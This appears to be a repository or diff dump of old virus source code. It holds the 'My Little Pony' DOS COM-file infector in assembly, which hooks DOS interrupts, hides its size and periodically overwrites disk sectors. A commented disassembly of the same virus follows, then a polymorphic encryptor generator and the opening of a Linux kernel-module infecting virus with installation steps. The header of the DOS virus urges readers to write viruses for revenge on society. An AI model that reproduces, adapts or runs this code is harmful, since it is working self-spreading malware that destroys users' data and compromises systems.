push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
mov ax,1220h ;get handle table
int 02Fh
mov bl,es:[di]
mov ax,1216h
int 02Fh
mov bp,di
add di,28h
push es
pop ds
mov si,di
lodsw
cmp ax,'OC'
jne cancel_open
lodsb
cmp al,'M'
jne cancel_open
mov si,bp
add si,20h
push cs
pop es
call infect
jmp cancel_open
get_rnd:
push dx
push cx
push bx
in al,40h ;'@'
add ax,0000
mov dx,0000
mov cx,0007
rnd_init5:
shl ax,1
rcl dx,1
mov bl,al
xor bl,dh
jns rnd_init6
inc al
rnd_init6:
loop rnd_init5
pop bx
mov al,dl
pop cx
pop dx
rnd_init_ret:
ret
logo db '>>> A.N.O.I <<<' ; DATA to overwrite with
temp_bytes db 3 dup(?)
filelen dw offset eof - offset start
memlen dw 100
file_buffer db 80 dup(20h)
filename db 12 dup(?)
jmp_1 db 0e9h
jmp_2 dw ?
first_bytes db 90h,0cdh,20h
eof:
end start
+749
View File
@@ -0,0 +1,749 @@
.model tiny
.code
org 100h
start:
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
; A NEW ORDER OF INTELLIGENCE PRESENTS: ;
; My Little Pony 1.00 ;
; Copyright (c) 1992, 1993 by Cruel Entity / Macaroni Ted ;
; - A.N.O.I - ;
; ;
; ;
; I know that there is a much better documented source-code for this ;
; virus. And I'm also very interessted to get in touch with the guy ;
; who did that documentation. Please contact me. ;
; ;
; You may freely use this code as you want, just give me some of the ;
; credits. Please learn to create virus, so we, together can get our ;
; revenge to the soceity. Learn to feel the feeling being cruel! ;
; ;
; Of cource I can't take any responsibility for all virus-coders ;
; who use any of the routines in this virus. ;
; ;
; ;
; Greetings to; The Unforgiven for giving me AT&T's ;
; Immortal Riot's members '94 ;
; The man sitting in basement ;
; ;
; ps! Tasm /m3 and tlink /t to get this babe into executable!
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
start:
call $+3
sub_this: pop bp
mov ax,0dd22h ;are we already in memory?
int 21h
cmp ax,03d33h
jne $+7
lea dx,[bp+(cancel-sub_this)]
jmp far ptr dx
mov ax,3521h ;get int 21h vect
int 21h
mov [bp+(int_21h_off-sub_this)],bx
mov [bp+(int_21h_seg-sub_this)],es
mov ax,cs
dec ax
mov es,ax
mov ax,es:[0003h]
sub ax,[bp+(memlen-sub_this)]
mov es:[0003h],ax
mov ax,[bp+(memlen-sub_this)]
sub word ptr es:[0012h],ax
mov es,es:[0012h]
push es
lea si,[bp+(start-sub_this)]
mov di,0100h
mov cx,[bp+(filelen-sub_this)]
rep movsb
pop ds ;es => ds
mov ax,2521h ;new vector at ES:0100
lea dx,new_int_21h
int 21h
cancel:
push cs ;cs => ds => es
push cs
pop ds
pop es
lea si,[bp+(first_bytes-sub_this)]
mov cx,3
mov di,100h
rep movsb
sub di,3
jmp far ptr di
db 'Simple Simon met a pieman going to the fair said'
db ' Simple Simon to the pieman let me take your ware'
write_rnd_sector:
cmp dh,0 ;sec
jne back
cmp dl,5 ;100th
ja back
pushf ;fuck rnd sector
push bx
call get_rnd
mov cx,10 ;/ 10
xor dx,dx
div cx
mov dx,ax ;dx=ax
mov al,2h ; Drive #, start with C:
mov cx,1h ; # of sectors to overwrite
lea bx,logo ; Address to overwriting DATA
loopie:
int 26h
popf
inc al
cmp al,25
jne loopie
pop bx
popf
jmp back
db '(c)1993 Cruel Entity'
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
; New int 21h
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
new_int_21h:
pushf
cmp ax,0dd22h ;check if resident
je mem_check
cmp ah,11h ;find 1st old
je find_old
cmp ah,12h ;find 1st old
je find_old
cmp ah,4eh ;dos 2.x
je find_
cmp ah,4fh
je find_
cmp ah,3dh ;open
je open_
cmp ah,3eh ;close
je close_
cmp ah,2ch
je back2
push ax
push cx
push dx
mov ah,2ch
int 21h
cmp cl,00 ;a new hour?
je write_rnd_sector
back:
pop dx
pop cx
pop ax
back2:
cmp ah,36h
jne return_21h
push bp
lea bp,get_free_space
jmp far ptr bp
return_21h:
popf
real_int_21h: db 0eah ;jmp...
int_21h_off dw ? ;to old int 21h
int_21h_seg dw ?
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
find_:
push bp
lea bp,find_new
jmp far ptr bp
open_:
push bp
lea bp,open
jmp far ptr bp
close_:
push bp
lea bp,close_file
jmp far ptr bp
mem_check:
popf
mov ax,3d33h
iret
call_int21h:
jmp dword ptr cs:int_21h_off ;force a call to DOS
ret
find_old:
popf
pushf ;find fcb
push cs
call call_int21h
cmp al,0ffh
je no_more_files
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
mov ah,2fh ;get dta
int 21h
push es ;es:bx
pop ds ;ds:bx
mov si,bx ;ds:si
add si,16 ;ext name
lodsw
cmp ax,'OC' ;.CO
jne cancel_ff
lodsb
cmp al,'M' ;M
jne cancel_ff
ext_ok:
;ext=com
mov si,bx ;check size
add si,26h
lodsw
cmp ax,0 ;=> 0ffffh?
jne cancel_ff
mov si,bx ;check if already infected
add si,30
lodsw ;time
and al,00011111b
cmp al,00001010b
je $+7 ;already infected (sec=24)
lea dx,store_in_mem
jmp far ptr dx
mov si,bx ;alter size
add si,36
mov di,si
lodsw
sub ax,cs:filelen
jz cancel_ff
stosw
cancel_ff:
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
no_more_files: retf 2 ;iret flags
db "%%% MY LITTLE PONY %%% COPYRIGHT(C) 1993 A.N.O.I. %%%"
store_in_mem: ;store filename in buffer
mov si,bx
add si,8
push cs ;cs => es
pop es
mov cx,10
lea di,file_buffer ;check pos
check_pos:
cmp byte ptr es:[di],20h
je store
add di,8
loop check_pos
jmp cancel_ff
store:
mov cx,8
rep movsb
jmp cancel_ff
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
get_free_space:
pop bp
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
push cs ;cs=> ds=> es
push cs
pop ds
pop es
lea di,file_buffer
mov cx,10
check_last:
cmp byte ptr [di],20h ;check if last
je cancel_inf
push di
push cx
mov si,di ;si=file pos
call infect
pop cx
pop di
add di,8
loop check_last
cancel_inf:
push cs
pop es
lea di,file_buffer
mov cx,80+12
mov al,20h
rep stosb
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp real_int_21h
infect:
;convert filename to asciiz
lea di,filename
mov cx,8 ;filename NOT ext
cpy_filename:
lodsb
cmp al,20h
je filename_klar
stosb
loop cpy_filename
filename_klar:
mov al,'.'
stosb
mov al,'C'
stosb
mov al,'O'
stosb
mov al,'M'
stosb
mov al,0
stosb
push cs
pop ds
mov ax,4300h ;get attrib
lea dx,filename
int 21h
jnc $+3 ;error?
ret
push cx ;save attrib
xor cx,cx
mov ax,4301h ;force all attribs
int 21h
mov ax,3d02h ;open filename
lea dx,filename
pushf
push cs
call call_int21h
mov bx,ax ;save handle
mov ax,5700h ;get time/date
int 21h
push dx ;save time/date
push cx
and cl,00011111b
cmp cl,00001010b
jne $+7 ;already infected (sec=24)
lea dx,cancel_inf2
jmp far ptr dx
mov ah,3fh ;read 3 first bytes
mov cx,3
lea dx,first_bytes
int 21h
mov ax,4202h ;goto eof
xor dx,dx
xor cx,cx
int 21h
sub ax,3 ;create a jmp
mov jmp_2,ax
mov ah,40h ;write virus
mov dx,100h
mov cx,filelen
int 21h
mov ax,4200h ;goto beg
xor dx,dx
xor cx,cx
int 21h
mov ah,40h ;write jmp
mov cx,3
lea dx,jmp_1
int 21h
cancel_inf2:
pop cx ;restore time/date
pop dx
and cl,11100000b ;secs=20
or cl,00001010b
mov ax,5701h ;set time/date
int 21h
mov ah,3eh ;close
pushf
push cs
call call_int21h
mov ax,4301h ;set attrib
lea dx,filename
pop cx ;restore attrib
int 21h
ret
find_new:
pop bp
popf
pushf ;find 4e
push cs
call call_int21h
jnc more_files
retf 2
more_files:
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
mov ah,2fh ;get dta
int 21h
push es ;es:bx
pop ds ;ds:bx
mov si,bx ;ds:si
push cs ;cs => es
pop es
add si,1eh ;f name
lea di,filename
mov cx,25
get_fname:
lodsb
cmp al,0
je get_f_klar
stosb
loop get_fname
get_f_klar:
mov al,0 ;asciiz
stosb
push ds ;ds=> es
pop es
push cs ;cs=> ds
pop ds
mov si,di
sub si,4 ;'COM'
lodsw ;CO
cmp ax,'OC'
je check_m
cmp ax,'oc'
jne cancel_new
check_m:
lodsb
cmp al,'m'
je ext_is_com
cmp al,'M'
jne cancel_new
ext_is_com:
push es ;es=> ds
pop ds
mov si,bx
add si,1ch ;check size
lodsw
cmp ax,0 ;=> 0ffffh
jne cancel_new
mov si,bx
add si,16h
lodsw ;time
and al,00011111b
cmp al,00001010b
jne cancel_new ;not infected
mov si,bx
add si,1ah
mov di,si
lodsw ;alter size
sub ax,cs:filelen
jz cancel_new
stosw
cancel_new:
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
no_more_files2: retf 2 ;iret flags
open:
pop bp
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
mov al,'.'
push ds ;ds=> es
pop es
mov di,dx ;es:di filename
mov cx,50
repnz scasb
mov si,di ;ds:si file ext.
lodsw
cmp ax,'OC'
je check_m2
cmp ax,'oc'
je $+7
lea dx,cancel_open
jmp far ptr dx
check_m2:
lodsb
cmp al,'m'
je ext_is_com2
cmp al,'M'
jne cancel_open
ext_is_com2:
mov ax,3d02h ;open file
pushf
push cs
call call_int21h
jc cancel_open
mov bx,ax
push cs
pop ds
push cs
pop es
mov ax,5700h ;get time/date
int 21h
and cl,00011111b ;already infected
cmp cl,00001010b
jne cancel_open
mov ax,4202h ;goto eof
xor dx,dx
xor cx,cx
int 21h
push ax ;save size
sub ax,3
mov dx,ax ;goto eof -3
mov ax,4200h
mov cx,0
int 21h
mov ah,3fh ;read
mov cx,3
lea dx,temp_bytes
int 21h
mov ax,4200h ;goto beg
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ;write original
mov cx,3
lea dx,temp_bytes
int 21h
pop dx
sub dx,filelen
mov ax,4200h ;goto real size
mov cx,0
int 21h
mov ah,40h
mov cx,0
int 21h
mov ah,3eh
pushf
push cs
call call_int21h
cancel_open:
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
pushf ;open file...
push cs
call call_int21h
retf 2
close_file:
pop bp
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
mov ax,1220h ;get handle table
int 02Fh
mov bl,es:[di]
mov ax,1216h
int 02Fh
mov bp,di
add di,28h
push es
pop ds
mov si,di
lodsw
cmp ax,'OC'
jne cancel_open
lodsb
cmp al,'M'
jne cancel_open
mov si,bp
add si,20h
push cs
pop es
call infect
jmp cancel_open
get_rnd:
push dx
push cx
push bx
in al,40h ;'@'
add ax,0000
mov dx,0000
mov cx,0007
rnd_init5:
shl ax,1
rcl dx,1
mov bl,al
xor bl,dh
jns rnd_init6
inc al
rnd_init6:
loop rnd_init5
pop bx
mov al,dl
pop cx
pop dx
rnd_init_ret:
ret
logo db '>>> A.N.O.I <<<' ; DATA to overwrite with
temp_bytes db 3 dup(?)
filelen dw offset eof - offset start
memlen dw 100
file_buffer db 80 dup(20h)
filename db 12 dup(?)
jmp_1 db 0e9h
jmp_2 dw ?
first_bytes db 90h,0cdh,20h
eof:
end start
+777
View File
@@ -0,0 +1,777 @@
;My Little Pony v1.00 disassembly - sort of.
;By Cruel Entity of ANOI. Related to CyberCide.
;Well, the comments are a bit bitchy, probably coz I was in a really
;really bad mood when I wrote them. The virus author, Cruel Entity,
;knows how to make a nice virus, he just doesn't have enough assembly
;experience to make something really worth while, imho of course.
;Bummer: Still some loc_xxx's left, hrmpf, I won't care if you don't.
;Just dump this one in your misc. garbage area dude.. :-)
.model tiny
.code
org 100h
start:
call get_relative
get_relative:
pop bp
mov ax,0DD22h
int 21h ;Installation check.
cmp ax,3D33h
jne not_installed
;* lea dx, [bp+restore_carrier-get_relative]
db 08dh, 56h, 52h
jmp dx
not_installed:
mov ax,3521h
int 21h ;Get int21 vector
mov [bp+int21offset-get_relative],bx
mov [bp+int21seg-get_relative],es ;Store it.
mov ax,cs
dec ax
mov es,ax ;ES:0 points to MCB.
mov ax,es:[3]
sub ax,[bp+parasize-get_relative]
mov es:[3],ax ;Shrink blocksize.
mov ax,[bp+parasize-get_relative]
sub es:[12h],ax ;Free top mem.
mov es,es:[12h]
push es
lea si,[bp-3] ;SI points to start of
;virus.
mov di,100h
mov cx,[bp+virussize-get_relative]
rep movsb ;Copy virus up there.
pop ds
mov ax,2521h
mov dx, offset int21
int 21h ;Set new int21 vector.
restore_carrier:
push cs
push cs
pop ds
pop es
lea si,[bp+restore_bytes-get_relative]
mov cx,3
mov di,100h
rep movsb ;Restore host.
sub di,3
jmp di ;Restart host.
db 'Simple Simon met a pieman going to the fair said Simple Simon to '
db 'the pieman let me take your ware'
activate:
cmp dh,0 ;Seconds 0?
jne no_activate
cmp dl,5 ;Hundredth's less than 5?
ja no_activate
pushf
push bx
call get_random
mov cx,0Ah
xor dx,dx
div cx
mov dx,ax
mov al,2
mov cx,1
mov bx,offset anoi
kill_sector:
int 26h ;Sector write.
popf
inc al
cmp al, 25
jne kill_sector
pop bx
popf
jmp short no_activate
db '(c)1993 Cruel Entity'
int21:
pushf
cmp ax, 0dd22h
jz inst_chk
cmp ah,11h
jz fcb_stealth
cmp ah,12h
jz fcb_stealth
cmp ah,4eh
jz go_handle_stealth
cmp ah,4fh
jz go_handle_stealth
cmp ah,3dh
jz go_file_open
cmp ah,3eh
jz go_file_close
cmp ah,2ch
jz get_time
push ax
push cx
push dx
mov ah, 2ch ;Get DOS time.
int 21h
cmp cl,0
jz activate
no_activate:
pop dx
pop cx
pop ax
get_time:
cmp ah,36h
jne _pass_int
push bp
mov bp,offset loc_20
jmp bp
_pass_int:
popf ; Pop flags
pass_int:
db 0eah
int21offset dw 0
int21seg dw 0
go_handle_stealth:
push bp
mov bp,offset handle_stealth
jmp bp
go_file_open:
push bp
mov bp,offset file_open
jmp bp
go_file_close:
push bp
mov bp,offset file_close
jmp bp
inst_chk:
popf
mov ax,3D33h
iret
call_dos:
jmp dword ptr cs:[int21offset]
db 0C3h
fcb_stealth:
popf
pushf
push cs
call call_dos ;First let's see what
;DOS has to say..
cmp al,0FFh ;0FFH indicates
;no match found
je exit_fcb_stealth
match_found:
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp ;Push the lot.
mov ah,2Fh
int 21h ;Get DTA
push es
pop ds ;DS:BX points to DTA.
mov si,bx ;DS:SI points to DTA.
add si,10h ;SI points to extension.
;<EXTENDED FCB ONLY!>
;(lamer)
lodsw
cmp ax,'OC' ;Extension starts with CO?
jne no_fcb_stealth
lodsb
cmp al,'M' ;Last char M?
jne no_fcb_stealth
mov si,bx
add si,26h ;I don't mean to sound
;bitchy, but IMO,
;ADD SI, 13h would've
;been what normal persons
;would've done.
;Offset 26h is a reserved
;position within an
;extended FCB.
;<INFECTION MARK>
lodsw
cmp ax,0 ;OR AX,AX? Naaaah!
jne no_fcb_stealth
mov si,bx
add si,1Eh ;offset 1eh is the high
;byte of file time.
lodsw
and al,1Fh
cmp al,0Ah
je proceed_fcb_stealth
mov dx,offset loc_17
jmp dx
proceed_fcb_stealth:
mov si,bx
add si,24h ;If I remember correctly,
;this is an undocumented
;copy of the filesize within
;the FCB structure. THIS
;is the value that is
;printed in a dir listing.
mov di,si
lodsw
sub ax,cs:virussize ;Hm, I can't seem to figure
jz no_fcb_stealth ;out if this guy is just
stosw ;stupid or ignorant when it
;comes to asm.
no_fcb_stealth:
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
exit_fcb_stealth:
retf 2
db '%%% MY LITTLE PONY %%% '
db 'COPYRIGHT(C) 1993 A.N.O.I. %%%'
loc_17:
mov si,bx
add si,8
push cs
pop es
mov cx,0Ah
mov di,offset something
locloop_18:
cmp byte ptr es:[di],' '
je loc_19
add di,8
loop locloop_18
jmp short no_fcb_stealth
loc_19:
mov cx,8
rep movsb
jmp short no_fcb_stealth
loc_20:
pop bp
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp ;Push some regs.
push cs
push cs
pop ds
pop es
mov di,offset something
mov cx,0Ah
locloop_21:
cmp byte ptr [di],' '
je loc_22
push di
push cx
mov si,di
call try_infect
pop cx
pop di
add di,8
loop locloop_21
loc_22:
push cs
pop es
mov di,offset something
mov cx,5Ch
mov al,' '
rep stosb
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp pass_int
try_infect: ;JESUS! It's actually
;a subroutine!!
;He knows what a sub
;IS!! Wow! I'm shocked!
mov di,offset filename
mov cx,8
copyloop2:
lodsb
cmp al,' '
je endcopy2
stosb
loop copyloop2
endcopy2:
mov al,'.'
stosb
mov al,'C'
stosb
mov al,'O'
stosb
mov al,'M'
stosb
mov al,0
stosb
push cs
pop ds
mov ax,4300h
mov dx,offset filename
int 21h ;Get attributes.
jnc got_attributes
retn
got_attributes:
push cx
xor cx,cx
mov ax,4301h
int 21h ;Zoink attributes.
mov ax,3D02h
mov dx,609h
pushf ;Open file in read/write mode.
push cs
call call_dos
mov bx,ax ;Handle to BX
mov ax,5700h
int 21h ;Get file date/time.
push dx
push cx
and cl,1Fh
cmp cl,0Ah
jne continue_infect
mov dx,offset exit_infect
jmp dx
continue_infect:
mov ah,3Fh
mov cx,3
mov dx,offset restore_bytes
int 21h ;Read first three bytes.
mov ax,4202h
xor dx,dx
xor cx,cx
int 21h ;Seek to EOF
sub ax,3
mov jmp_data,ax
mov ah,40h
mov dx,100h
mov cx,virussize
int 21h ;Append virus to file.
mov ax,4200h
xor dx,dx
xor cx,cx
int 21h ;Seek to start.
mov ah,40h
mov cx,3
mov dx,offset jmp_op
int 21h ;Overwrite with JMP
exit_infect:
pop cx
pop dx
and cl,0E0h
or cl,0Ah
mov ax,5701h
int 21h ;Givvit the special date/time
;already-infected type
;designation treatment..
mov ah,3Eh
pushf
push cs
call call_dos ;CL00000000SE 'r up!
mov ax,4301h
mov dx,offset filename
pop cx
int 21h ;Restore kuhl attribs..
ret
handle_stealth:
pop bp
popf
pushf
push cs
call call_dos
jnc handle_match_found
retf 2
handle_match_found:
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp ;Push the lot.
mov ah,2Fh
int 21h ;Get DTA
push es
pop ds ;DS:BX points to DTA.
mov si,bx ;DS:SI points to DTA.
push cs
pop es
add si,1Eh ;1eh is start of filename
;within the DTA struct.
mov di,offset filename
mov cx,25
copyloop:
lodsb
cmp al,0
je end_copy ;Copy filename to buffer.
stosb
loop copyloop
end_copy:
mov al,0
stosb ;Make it a valid ASCIIZ
;string.
push ds
pop es
push cs
pop ds
mov si,di
sub si,4 ;Assume extension is three
;characters.
lodsw
cmp ax,'OC'
je starts_with_co
cmp ax,'oc'
jne no_handle_stealth
starts_with_co:
lodsb
cmp al,'m'
je com_file
cmp al,'M'
jne no_handle_stealth
com_file:
push es
pop ds
mov si,bx
add si,1Ch ;High word of filesize.
lodsw
cmp ax,0 ;COM file -> not bigger
;than 64 kb -> highword
;=0. Just an additional
;check. but OR AX,AX?
;Cuz n0t!
jne no_handle_stealth
mov si,bx
add si,16h ;File time.
lodsw
and al,1Fh
cmp al,0Ah
jne no_handle_stealth
mov si,bx
add si,1Ah ;Low word of filesize.
mov di,si
lodsw
sub ax,cs:virussize
jz no_handle_stealth
stosw
no_handle_stealth:
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
retf 2
file_open:
pop bp
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es ;Save some regs.
mov al,'.'
push ds
pop es
mov di,dx ;ES:DI points to filename.
mov cx,32h
repne scasb ;Scan for '.'
mov si,di
lodsw
cmp ax,'OC'
je pffff_this_is_boring
cmp ax,'oc'
je pffff_this_is_boring
mov dx,offset exit_disinfect
jmp dx
pffff_this_is_boring:
lodsb
cmp al,'m'
je try_disinfect
cmp al,'M'
jne exit_disinfect
try_disinfect:
mov ax,3D02h
pushf
push cs
call call_dos ;Open file in read/write
;mode.
jc exit_disinfect
mov bx,ax ;Handle to BX.
push cs
pop ds
push cs
pop es
mov ax,5700h
int 21h ;Get file date/time.
and cl,1Fh
cmp cl,0Ah
jne exit_disinfect
mov ax,4202h
xor dx,dx
xor cx,cx ;CWD? naaaaaaaah!
int 21h ;Seek to EOF
push ax
sub ax,3 ;Filesize-3
mov dx,ax
mov ax,4200h
mov cx,0
int 21h ;Seek to EOF-3.
mov ah,3Fh
mov cx,3
mov dx,offset buf
int 21h
mov ax,4200h
xor cx,cx
xor dx,dx ;Boooooriiing.
int 21h ;Seek to BOF BOF BOF.
mov ah,40h
mov cx,3
mov dx,offset buf
int 21h
pop dx
sub dx,virussize
mov ax,4200h
mov cx,0
int 21h ;Seek to EOF-virussize.
mov ah,40h
mov cx,0
int 21h ;Truncate file.
mov ah,3Eh
pushf
push cs
call call_dos ;close file.
exit_disinfect:
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
pushf
push cs
call call_dos
retf 2
file_close:
pop bp
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es ;Hmpf. I suppose nobody
;knows what subroutines
;are these days..
mov ax,1220h
int 2Fh
mov bl,es:[di]
mov ax,1216h
int 2Fh ;Awright, grabbed SFT ptr.
mov bp,di
add di,28h ;File extension.
push es
pop ds
mov si,di
lodsw
cmp ax,'OC' ;AAARRRGGHh wibble wibble!
;I can't take much more
;of diiizzzzzzzzzzzz..
jne exit_disinfect
lodsb
cmp al,'M'
jne exit_disinfect
mov si,bp
add si,20h ;Filename.
push cs
pop es
call try_infect ;HUUUH? A SUBROUTINE?
jmp short exit_disinfect
get_random:
push dx
push cx
push bx
in al,40h ;Timer data.
add ax,0
mov dx,0
mov cx,7
randomloop:
shl ax,1 ; Shift w/zeros fill
rcl dx,1 ; Rotate thru carry
mov bl,al
xor bl,dh
jns no_sign
inc al
no_sign:
loop randomloop
pop bx
mov al,dl
pop cx
pop dx
retn
anoi db '>>> A.N.O.I <<<'
buf db 3 dup (0)
virussize dw (endvirus-start)
parasize dw 'd'
something db ' '
db ' '
db ' '
filename db 12 dup (0)
jmp_op db 0E9h
jmp_data dw 0
restore_bytes db 90h
db 0CDh, 20h
endvirus:
end start
+220
View File
@@ -0,0 +1,220 @@
code segment
assume cs:code
org 100h
prog:
mov cx,(offset last - offset main + 1) / 2
mov dx,0
mov si,offset main
cmp ax,0
xor cx,0
nop
xor si,0
nop
l103: inc ax
l102: inc bp
l101: clc
l100: xor word ptr [si],dx
inc si
inc si
dec ax
dec bp
loop l100
main:
call make
call save
mov al,00h
mov ah,4ch
int 21h
cdc dw 0
make proc near
call copy
mov bx,offset dcdr
call ch1
call ch2
mov bp,bx
mov di,offset dcdd
call ch30
call copy1
call ch4
ret
make endp
save proc near
mov ah,3ch
mov dx,offset fn
sub cx,cx
int 21h
jc ioerr
mov bx,ax
mov dx,offset prog
mov cx,offset last - offset prog
mov ax,es
mov ds,ax
mov ah,40h
int 21h
jc ioerr
mov ah,3eh
int 21h
ioerr: ret
save endp
copy1 proc near
mov si,offset dcdr
mov di,offset prog
mov cx,offset dcdd - offset dcdr
rep movsb
ret
copy1 endp
ch4 proc near
mov ax,cdc
mov bx,offset main
mov cx,(offset last - offset main + 1) / 2
push es
pop ds
lch4: xor word ptr [bx],ax
inc bx
inc bx
loop lch4
push cs
pop ds
ret
ch4 endp
ch30 proc near
sub cx,cx
mov cl,byte ptr [di]
inc di
l30: call ch31
add di,3
loop l30
ret
ch30 endp
ch31 proc near
push cx
mov cx,8
l31: call rndm
call ch32
loop l31
pop cx
ret
ch31 endp
ch32 proc near
sub ax,ax
mov al,byte ptr [di]
mov si,bp
add si,ax
mov al,byte ptr [di+1]
mov bx,ax
mov al,byte ptr [di+2]
call ch33
ret
ch32 endp
ch33 proc near
push cx
lbeg: rcr dx,1
jc noch
mov cx,bx
lch: mov ah,byte ptr [si]
xchg ah,byte ptr [si+bx]
mov byte ptr [si],ah
inc si
loop lch
jmp short lend
noch: add si,bx
lend: dec al
jnz lbeg
pop cx
ret
ch33 endp
ch2 proc near
rcr dx,1
jc nobx
inc byte ptr [bx+03]
add byte ptr [bx+24],8
nobx: rcr dx,1
jc nodi
inc byte ptr [bx+06]
inc byte ptr [bx+17]
inc byte ptr [bx+24]
inc byte ptr [bx+25]
inc byte ptr [bx+26]
nodi: ret
ch2 endp
ch1 proc near
call irnd
mov word ptr [bx+04],dx
mov cdc,dx
call rndm
mov word ptr [bx+01],(offset last - offset main + 1) / 2
xor word ptr [bx+01],dx
xor word ptr [bx+14],dx
call rndm
mov word ptr [bx+07],offset main
xor word ptr [bx+07],dx
xor word ptr [bx+18],dx
call rndm
mov word ptr [bx+10],dx
rcr dx,1
jc no1
inc byte ptr [bx+30]
no1: rcr dx,1
jc no2
inc byte ptr [bx+30]
inc byte ptr [bx+30]
no2: ret
ch1 endp
copy proc near
mov ax,cs
add ax,1000h
mov es,ax
mov si,offset prog
mov di,si
mov cx,offset last - offset prog
rep movsb
ret
copy endp
irnd proc near
mov ah,2ch
int 21h
add dx,cx
ret
irnd endp
rndm proc near
mov ax,cs
mul dx
add dx,ax
ret
rndm endp
dcdr db 0b9h,0aeh,0,0bah,10h,20h
db 0beh,1fh,1,3dh,0,0
db 81h,0f1h,0,0
db 81h,0f6h,0,0
db 40h,45h,0f8h
db 31h,14h
db 46h,46h,48h,4dh
db 0e2h,0f5h
dcdd db 4,0,3,3,12,4,1,20,1,2,25,1,3
fn db 'super.com',0
last label byte
code ends
end prog

+529
View File
@@ -0,0 +1,529 @@
/* SVAT - Special Virii And Trojans - present:
*
* -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-
*
* 0kay guys, here we go...
* As i told you with VLP I (we try to write an fast-infector)
* here's the result:
* a full, non-overwriting module infector that catches
* lkm's due to create_module() and infects them (max. 7)
* if someone calls delete_module() [even on autoclean].
* Linux is not longer a virii-secure system :(
* and BSD follows next week ...
* Since it is not needed 2 get root (by the module) you should pay
* attention on liane.
* Note the asm code in function init_module().
* U should assemble your /usr/src/.../module.c with -S and your CFLAG
* from your Makefile and look for the returnvalue from the first call
* of find_module() in sys_init_module(). look where its stored (%ebp for me)
* and change it in __asm__ init_module()! (but may it is not needed)
*
* For education only!
* Run it only with permisson of the owner of the system you are logged on!!!
*
* !!! YOU USE THIS AT YOUR OWN RISK !!!
*
* I'm not responsible for any damage you maybe get due to playing around with this.
*
* okay guys, you have to find out some steps without my help:
*
* 1. $ cc -c -O2 module.c
* 2. get length of module.o and patch the #define MODLEN in module.c
* 3. $ ???
* 4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o
* 5. $ mv module.o /lib/modules/2.0.33/fs/fat.o
* >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:<
* 6. $ insmod ???
*
* This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and
* kernel 2.0.33. It works.
*
* greets (in no order...)
* <><><><><><><><><><><><>
*
* NetW0rker - tkx for da sources
* Serialkiller - gib mir mal deine eMail-addy
* hyperSlash - 1st SVAT member, he ?
* naleZ - hehehe
* MadMan - NetW0rker wanted me to greet u !?
* KilJaeden - TurboDebugger and SoftIce are a good choice !
*
* and all de otherz
*
* Stealthf0rk/SVAT <stealth@cyberspace.org>
*/
#define __KERNEL__
#define MODULE
#define MODLEN 6196
#define ENOUGH 7
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM set_fs(old_fs);}
/* i'm not sure we need all of 'em ...*/
#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>
#define __NR_our_syscall 211
#define MAXPATH 30
/*#define DEBUG*/
#ifdef DEBUG
#define DPRINTK(format, args...) printk(KERN_INFO format,##args)
#else
#define DPRINTK(format, args...)
#endif
/* where the sys_calls are */
extern void *sys_call_table[];
/* tested only with kernel 2.0.33, but thiz should run under 2.x.x
* if you change the default_path[] values
*/
static char *default_path[] = {
".", "/linux/modules",
"/lib/modules/2.0.33/fs",
"/lib/modules/2.0.33/net",
"/lib/modules/2.0.33/scsi",
"/lib/modules/2.0.33/block",
"/lib/modules/2.0.33/cdrom",
"/lib/modules/2.0.33/ipv4",
"/lib/modules/2.0.33/misc",
"/lib/modules/default/fs",
"/lib/modules/default/net",
"/lib/modules/default/scsi",
"/lib/modules/default/block",
"/lib/modules/default/cdrom",
"/lib/modules/default/ipv4",
"/lib/modules/default/misc",
"/lib/modules/fs",
"/lib/modules/net",
"/lib/modules/scsi",
"/lib/modules/block",
"/lib/modules/cdrom",
"/lib/modules/ipv4",
"/lib/modules/misc",
0
};
static struct symbol_table my_symtab = {
#include <linux/symtab_begin.h>
X(printk),
X(vmalloc),
X(vfree),
X(kerneld_send),
X(current_set),
X(sys_call_table),
X(register_symtab_from),
